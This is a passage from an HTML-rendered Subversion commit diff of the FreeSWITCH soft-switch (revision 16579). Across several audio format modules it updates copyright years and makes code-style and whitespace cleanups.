</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_native_filemod_native_filec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -104,7 +104,7 @@
</span><span class="cx">         if ((status = switch_file_trunc(context->fd, offset)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 handle->pos = 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx">
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_portaudio_streammod_portaudio_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -154,9 +154,9 @@
</span><span class="cx">         return -1;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t engage_device(portaudio_stream_source_t *source,int restart)
</del><ins>+static switch_status_t engage_device(portaudio_stream_source_t *source, int restart)
</ins><span class="cx"> {
</span><del>-        PaStreamParameters inputParameters,outputParameters;
</del><ins>+        PaStreamParameters inputParameters, outputParameters;
</ins><span class="cx">         PaError err;
</span><span class="cx">         int sample_rate = source->rate;
</span><span class="cx">         int codec_ms = source->interval;
</span><span class="lines">@@ -187,8 +187,7 @@
</span><span class="cx">                 if (switch_core_codec_init(&source->write_codec,
</span><span class="cx">                                                                  "L16",
</span><span class="cx">                                                                  NULL,
</span><del>-                                                                 sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
-                                                                 NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                 sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
</span><span class="cx">                         switch_core_codec_destroy(&source->read_codec);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -198,7 +197,7 @@
</span><span class="cx">
</span><span class="cx">         if (!source->timer.timer_interface) {
</span><span class="cx">                 if (switch_core_timer_init(&source->timer,
</span><del>-                                                                        source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
</del><ins>+                                                                 source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
</ins><span class="cx">                                                                  module_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
</span><span class="cx">                         switch_core_codec_destroy(&source->read_codec);
</span><span class="lines">@@ -224,14 +223,13 @@
</span><span class="cx">         outputParameters.hostApiSpecificStreamInfo = NULL;
</span><span class="cx">
</span><span class="cx">
</span><del>-        err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff,
-                        source->read_codec.implementation->samples_per_packet, 0);
</del><ins>+        err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff, source->read_codec.implementation->samples_per_packet, 0);
</ins><span class="cx">         /* UNLOCKED ************************************************************************************************* */
</span><span class="cx">         if (err != paNoError) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening audio device retrying\n");
</span><span class="cx">                 switch_yield(1000000);
</span><span class="cx">                 err = OpenAudioStream(&source->audio_stream, &inputParameters, &outputParameters, sample_rate, paClipOff,
</span><del>-                                        source->read_codec.implementation->samples_per_packet, 0);
</del><ins>+                                                         source->read_codec.implementation->samples_per_packet, 0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(source->device_lock);
</span><span class="lines">@@ -251,7 +249,7 @@
</span><span class="cx">         portaudio_stream_source_t *source = obj;
</span><span class="cx">         portaudio_stream_context_t *cp;
</span><span class="cx">         int samples = 0;
</span><del>-        int bused, bytesToWrite;
</del><ins>+        int bused, bytesToWrite;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="lines">@@ -271,14 +269,14 @@
</span><span class="cx">
</span><span class="cx">         switch_thread_rwlock_create(&source->rwlock, source->pool);
</span><span class="cx">
</span><del>-        if (engage_device(source,0)!=SWITCH_STATUS_SUCCESS){
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n",(int) source->sourcedev);
</del><ins>+        if (engage_device(source, 0) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n", (int) source->sourcedev);
</ins><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n",(int) source->sourcedev, (int) source->rate);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n", (int) source->sourcedev, (int) source->rate);
</ins><span class="cx">                 if (globals.running && !source->stopped) {
</span><span class="cx">                         source->ready = 1;
</span><span class="cx">
</span><del>-                        if (!source->audio_stream){
</del><ins>+                        if (!source->audio_stream) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Audio Stream wops!\n");
</span><span class="cx">                                 source->stopped = 0;
</span><span class="cx">                                 source->ready = 0;
</span><span class="lines">@@ -287,7 +285,7 @@
</span><span class="cx">                                         samples = 0;
</span><span class="cx">                                         switch_mutex_lock(source->device_lock);
</span><span class="cx">                                         samples = ReadAudioStream(source->audio_stream, source->databuf,
</span><del>-                                                                        source->read_codec.implementation->samples_per_packet , &source->timer);
</del><ins>+                                                                                         source->read_codec.implementation->samples_per_packet, &source->timer);
</ins><span class="cx">                                         switch_mutex_unlock(source->device_lock);
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -306,9 +304,9 @@
</span><span class="cx">                                                                 switch_mutex_lock(cp->audio_mutex);
</span><span class="cx">
</span><span class="cx">                                                                 bused = switch_buffer_inuse(cp->audio_buffer);
</span><del>-                                                                if (bused > source->samples * 768 ) {
-                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n", cp->func, cp->file,
-                                                                                                         cp->line,(int) bused, (int) ( source->samples * 768));
</del><ins>+                                                                if (bused > source->samples * 768) {
+                                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n",
+                                                                                                         cp->func, cp->file, cp->line, (int) bused, (int) (source->samples * 768));
</ins><span class="cx">                                                                         switch_buffer_zero(cp->audio_buffer);
</span><span class="cx">                                                                 } else {
</span><span class="cx">                                                                         switch_buffer_write(cp->audio_buffer, source->databuf, bytesToWrite);
</span><span class="lines">@@ -357,7 +355,7 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " thread ending succesfully !\n");
</span><del>-        switch_thread_exit(thread,SWITCH_STATUS_SUCCESS);
</del><ins>+        switch_thread_exit(thread, SWITCH_STATUS_SUCCESS);
</ins><span class="cx">
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="lines">@@ -365,14 +363,14 @@
</span><span class="cx">
</span><span class="cx"> static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle, const char *path)
</span><span class="cx"> {
</span><del>-        portaudio_stream_context_t *context ;
</del><ins>+        portaudio_stream_context_t *context;
</ins><span class="cx">         portaudio_stream_source_t *source;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_thread_t *thread;
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         uint32_t rate = PREFERRED_RATE;
</span><del>-        char *npath ;
</del><ins>+        char *npath;
</ins><span class="cx">         int devNumber;
</span><span class="cx">         int tmp;
</span><span class="cx">
</span><span class="lines">@@ -383,7 +381,7 @@
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        npath = switch_core_strdup(module_pool, path);
</del><ins>+        npath = switch_core_strdup(module_pool, path);
</ins><span class="cx">
</span><span class="cx">         tmp = handle->samplerate;
</span><span class="cx">         if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 48000) {
</span><span class="lines">@@ -391,11 +389,11 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (*path == '#') {
</span><del>-                devNumber = get_dev_by_number(npath + 1, 1);
</del><ins>+                devNumber = get_dev_by_number(npath + 1, 1);
</ins><span class="cx">         } else {
</span><del>-                devNumber = get_dev_by_name(npath , 1);
</del><ins>+                devNumber = get_dev_by_name(npath, 1);
</ins><span class="cx">         }
</span><del>- npath = switch_mprintf("device-%d at %d",devNumber,rate);
</del><ins>+        npath = switch_mprintf("device-%d at %d", devNumber, rate);
</ins><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         source = switch_core_hash_find(globals.source_hash, npath);
</span><span class="lines">@@ -408,7 +406,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, " :S no pool\n");
</span><span class="cx">                 } else {
</span><span class="cx">                         source = switch_core_alloc(pool, sizeof(*source));
</span><del>-                        if (source!=NULL){
</del><ins>+                        if (source != NULL) {
</ins><span class="cx">                                 source->pool = pool;
</span><span class="cx">                                 source->sourcedev = devNumber;
</span><span class="cx">                                 source->sourcename = switch_core_strdup(source->pool, npath);
</span><span class="lines">@@ -436,8 +434,8 @@
</span><span class="cx">         /* dev already engaged */
</span><span class="cx">         if (source) {
</span><span class="cx">
</span><del>-                /*wait for source to be ready*/
-                while(source->ready==0) {
</del><ins>+                /*wait for source to be ready */
+                while (source->ready == 0) {
</ins><span class="cx">                         switch_yield(100000);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -596,7 +594,7 @@
</span><span class="cx">         globals.running = 0;
</span><span class="cx">         switch_event_unbind_callback(shutdown_event_handler);
</span><span class="cx">
</span><del>-        while(globals.threads > 0) {
</del><ins>+        while (globals.threads > 0) {
</ins><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_shell_streammod_shell_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -43,7 +43,7 @@
</span><span class="cx">         int pid;
</span><span class="cx">         char *command;
</span><span class="cx">         switch_buffer_t *audio_buffer;
</span><del>-        switch_mutex_t *mutex;        
</del><ins>+        switch_mutex_t *mutex;
</ins><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><span class="cx">         int running;
</span><span class="cx"> };
</span><span class="lines">@@ -63,15 +63,15 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
-        while(context->running) {
-                
</del><ins>+
+        while (context->running) {
+
</ins><span class="cx">                 rlen = read(context->fds[0], data, MY_BUF_LEN);
</span><span class="cx">
</span><span class="cx">                 if (rlen <= 3) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_lock(context->mutex);
</span><span class="cx">                 switch_buffer_write(context->audio_buffer, data, rlen);
</span><span class="cx">                 switch_mutex_unlock(context->mutex);
</span><span class="lines">@@ -79,7 +79,7 @@
</span><span class="cx">
</span><span class="cx">         switch_thread_rwlock_unlock(context->rwlock);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         context->running = 0;
</span><span class="cx">
</span><span class="lines">@@ -92,26 +92,26 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_thread_t *thread;
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         context = switch_core_alloc(handle->memory_pool, sizeof(*context));
</span><del>-        
</del><ins>+
</ins><span class="cx">         context->fds[0] = -1;
</span><span class="cx">         context->fds[1] = -1;
</span><span class="cx">         context->command = switch_core_sprintf(handle->memory_pool, "%s -r %d -c %d", path, handle->samplerate, handle->channels);
</span><span class="cx">
</span><span class="cx">         if (pipe(context->fds)) {
</span><span class="cx">                 goto error;
</span><del>-        } else { /* good to go*/
</del><ins>+        } else {                                        /* good to go */
</ins><span class="cx">                 context->pid = fork();
</span><del>-                
-                if (context->pid < 0) { /* ok maybe not */
</del><ins>+
+                if (context->pid < 0) {        /* ok maybe not */
</ins><span class="cx">                         goto error;
</span><del>-                } else if (context->pid) { /* parent */
</del><ins>+                } else if (context->pid) {        /* parent */
</ins><span class="cx">                         handle->private_info = context;
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         close(context->fds[1]);
</span><span class="lines">@@ -124,19 +124,19 @@
</span><span class="cx">
</span><span class="cx">                         switch_thread_rwlock_create(&context->rwlock, handle->memory_pool);
</span><span class="cx">                         switch_mutex_init(&context->mutex, SWITCH_MUTEX_NESTED, handle->memory_pool);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_threadattr_create(&thd_attr, handle->memory_pool);
</span><span class="cx">                         switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">                         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="cx">                         switch_thread_create(&thread, thd_attr, buffer_thread_run, context, handle->memory_pool);
</span><span class="cx">                         context->running = 2;
</span><span class="cx">
</span><del>-                        while(context->running == 2) {
</del><ins>+                        while (context->running == 2) {
</ins><span class="cx">                                 switch_cond_next();
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         goto end;
</span><del>-                } else { /* child */
</del><ins>+                } else {                                /* child */
</ins><span class="cx">                         close(context->fds[0]);
</span><span class="cx">                         dup2(context->fds[1], STDOUT_FILENO);
</span><span class="cx">                         switch_system(context->command, SWITCH_TRUE);
</span><span class="lines">@@ -146,22 +146,22 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- error:
</del><ins>+ error:
</ins><span class="cx">
</span><span class="cx">         close(context->fds[0]);
</span><span class="cx">         close(context->fds[1]);
</span><span class="cx">         status = SWITCH_STATUS_FALSE;
</span><del>-                
</del><span class="cx">
</span><del>- end:
-                
</del><ins>+
+ end:
+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t shell_stream_file_close(switch_file_handle_t *handle)
</span><span class="cx"> {
</span><span class="cx">         shell_stream_context_t *context = handle->private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         context->running = 0;
</span><span class="cx">
</span><span class="cx">         if (context->fds[0] > -1) {
</span><span class="lines">@@ -184,10 +184,10 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_size_t rlen = *len * 2;
</span><span class="cx">
</span><del>-        while(context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
</del><ins>+        while (context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
</ins><span class="cx">                 switch_cond_next();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(context->mutex);
</span><span class="cx">         *len = switch_buffer_read(context->audio_buffer, data, rlen) / 2;
</span><span class="cx">         switch_mutex_unlock(context->mutex);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_shoutmod_shoutc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -55,12 +55,12 @@
</span><span class="cx">         uint32_t outscale;
</span><span class="cx"> } globals;
</span><span class="cx">
</span><del>-mpg123_handle *our_mpg123_new(const char* decoder, int *error)
</del><ins>+mpg123_handle *our_mpg123_new(const char *decoder, int *error)
</ins><span class="cx"> {
</span><span class="cx">         mpg123_handle *mh;
</span><span class="cx">         const char *arch = "auto";
</span><span class="cx">         int x64 = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*globals.decoder || globals.outscale || globals.vol) {
</span><span class="cx">                 if (*globals.decoder) {
</span><span class="cx">                         arch = globals.decoder;
</span><span class="lines">@@ -159,17 +159,17 @@
</span><span class="cx">                         mpg123_close(context->mh);
</span><span class="cx">                         mpg123_delete(context->mh);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (context->fp) {
</span><span class="cx">                         unsigned char mp3buffer[8192];
</span><span class="cx">                         int len;
</span><del>-                        int16_t blank[2048] = {0}, *r = NULL;
-                        
-                        
</del><ins>+                        int16_t blank[2048] = { 0 }, *r = NULL;
+
+
</ins><span class="cx">                         if (context->channels == 2) {
</span><span class="cx">                                 r = blank;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         len = lame_encode_buffer(context->gfp, blank, r, sizeof(blank) / 2, mp3buffer, sizeof(mp3buffer));
</span><span class="cx">
</span><span class="cx">                         if (len) {
</span><span class="lines">@@ -182,7 +182,7 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         lame_mp3_tags_fid(context->gfp, context->fp);
</span><span class="cx">
</span><span class="cx">                         fclose(context->fp);
</span><span class="lines">@@ -292,7 +292,7 @@
</span><span class="cx"> {
</span><span class="cx">         int decode_status = 0;
</span><span class="cx">         size_t usedlen;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (!context->err && !context->eof && switch_buffer_inuse(context->audio_buffer) < bytes) {
</span><span class="cx">                 usedlen = 0;
</span><span class="cx">
</span><span class="lines">@@ -332,8 +332,8 @@
</span><span class="cx">         shout_context_t *context = data;
</span><span class="cx">         int decode_status = 0;
</span><span class="cx">         size_t usedlen;
</span><del>-        uint32_t used, buf_size = 1024 * 128; /* do not make this 64 or less, stutter will ensue after
-         first 64k buffer is dry */
</del><ins>+        uint32_t used, buf_size = 1024 * 128;        /* do not make this 64 or less, stutter will ensue after
+                                                                                         first 64k buffer is dry */
</ins><span class="cx">
</span><span class="cx">         if (context->prebuf) {
</span><span class="cx">                 buf_size = context->prebuf;
</span><span class="lines">@@ -387,7 +387,7 @@
</span><span class="cx">         if (context->err) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return realsize;
</span><span class="cx">
</span><span class="cx"> error:
</span><span class="lines">@@ -405,7 +405,7 @@
</span><span class="cx">         CURL *curl_handle = NULL;
</span><span class="cx">         CURLcode cc;
</span><span class="cx">         shout_context_t *context = (shout_context_t *) obj;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_rdlock(context->rwlock);
</span><span class="cx">
</span><span class="cx">         curl_handle = curl_easy_init();
</span><span class="lines">@@ -416,13 +416,14 @@
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *) context);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "FreeSWITCH(mod_shout)/1.0");
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</span><del>-        curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30); /* eventually timeout connect */
-        curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100); /* handle trickle connections */
</del><ins>+        curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30);        /* eventually timeout connect */
+        curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100);        /* handle trickle connections */
</ins><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_TIME, 30);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_ERRORBUFFER, context->curl_error_buff);
</span><span class="cx">         cc = curl_easy_perform(curl_handle);
</span><del>-        if (cc && cc != CURLE_WRITE_ERROR) { /* write error is ok, we just exited from callback early */
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "CURL returned error:[%d] %s : %s [%s]\n", cc, curl_easy_strerror(cc), context->curl_error_buff, context->stream_url);
</del><ins>+        if (cc && cc != CURLE_WRITE_ERROR) {        /* write error is ok, we just exited from callback early */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "CURL returned error:[%d] %s : %s [%s]\n", cc, curl_easy_strerror(cc),
+                                                 context->curl_error_buff, context->stream_url);
</ins><span class="cx">         }
</span><span class="cx">         curl_easy_cleanup(curl_handle);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Read Thread Done\n");
</span><span class="lines">@@ -453,7 +454,7 @@
</span><span class="cx">                 switch_mutex_unlock(context->audio_mutex);
</span><span class="cx">
</span><span class="cx">                 if (used >= (2 * context->samplerate)) {
</span><del>-                         break;
</del><ins>+                        break;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_yield(500000);
</span><span class="lines">@@ -566,7 +567,8 @@
</span><span class="cx">
</span><span class="cx">         while (context->thread_running && context->thread_running != 2) {
</span><span class="cx">                 switch_yield(100000);
</span><del>-                if (!--sanity) break;
</del><ins>+                if (!--sanity)
+                        break;
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -590,9 +592,9 @@
</span><span class="cx">         context->memory_pool = handle->memory_pool;
</span><span class="cx">         context->samplerate = handle->samplerate;
</span><span class="cx">         context->handle = handle;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_create(&(context->rwlock), context->memory_pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_rdlock(context->rwlock);
</span><span class="cx">
</span><span class="cx">         switch_mutex_init(&context->audio_mutex, SWITCH_MUTEX_NESTED, context->memory_pool);
</span><span class="lines">@@ -605,10 +607,10 @@
</span><span class="cx">
</span><span class="cx">                 context->mh = our_mpg123_new(NULL, NULL);
</span><span class="cx">                 mpg123_format_all(context->mh);
</span><del>-                mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);                
</del><ins>+                mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);
</ins><span class="cx">
</span><span class="cx">                 if (handle->handler) {
</span><del>-                        mpg123_param(context->mh, MPG123_FLAGS, MPG123_SEEKBUFFER|MPG123_MONO_MIX, 0);
</del><ins>+                        mpg123_param(context->mh, MPG123_FLAGS, MPG123_SEEKBUFFER | MPG123_MONO_MIX, 0);
</ins><span class="cx">                         if (mpg123_open_feed(context->mh) != MPG123_OK) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening mpg feed\n");
</span><span class="cx">                                 goto error;
</span><span class="lines">@@ -800,7 +802,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_buffer_zero(context->audio_buffer);
</span><del>-                *cur_sample = mpg123_seek (context->mh, (off_t)samples, whence);
</del><ins>+                *cur_sample = mpg123_seek(context->mh, (off_t) samples, whence);
</ins><span class="cx">
</span><span class="cx">                 return *cur_sample >= 0 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -827,9 +829,9 @@
</span><span class="cx">         if (!rb && (context->eof || context->err)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "rb: %d, bytes: %d\n", (int) rb, (int) bytes); */
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (rb) {
</span><span class="cx">                 *len = rb / sizeof(int16_t);
</span><span class="cx">         } else {
</span><span class="lines">@@ -839,7 +841,7 @@
</span><span class="cx">                         bytes = newbytes;
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Padding mp3 stream with 1s of empty audio. (%s)\n", context->stream_url);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 memset(data, 255, bytes);
</span><span class="cx">                 *len = bytes / sizeof(int16_t);
</span><span class="cx">         }
</span><span class="lines">@@ -918,18 +920,18 @@
</span><span class="cx">
</span><span class="cx">         if (handle->channels == 2) {
</span><span class="cx">                 switch_size_t i, j = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (context->llen < nsamples) {
</span><span class="cx">                         context->l = switch_core_alloc(context->memory_pool, nsamples * 2);
</span><span class="cx">                         context->r = switch_core_alloc(context->memory_pool, nsamples * 2);
</span><span class="cx">                         context->llen = context->rlen = nsamples;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 0; i < nsamples; i++) {
</span><span class="cx">                         context->l[i] = audio[j++];
</span><span class="cx">                         context->r[i] = audio[j++];
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((rlen = lame_encode_buffer(context->gfp, context->l, context->r, nsamples, context->mp3buf, context->mp3buflen)) < 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "MP3 encode error %d!\n", rlen);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1130,7 +1132,7 @@
</span><span class="cx">                 switch_mutex_t *mutex;
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(tsession);
</span><span class="cx">                 lame_global_flags *gfp = NULL;
</span><del>-                switch_codec_implementation_t read_impl = {0};
</del><ins>+                switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">                 switch_core_session_get_read_impl(tsession, &read_impl);
</span><span class="cx">
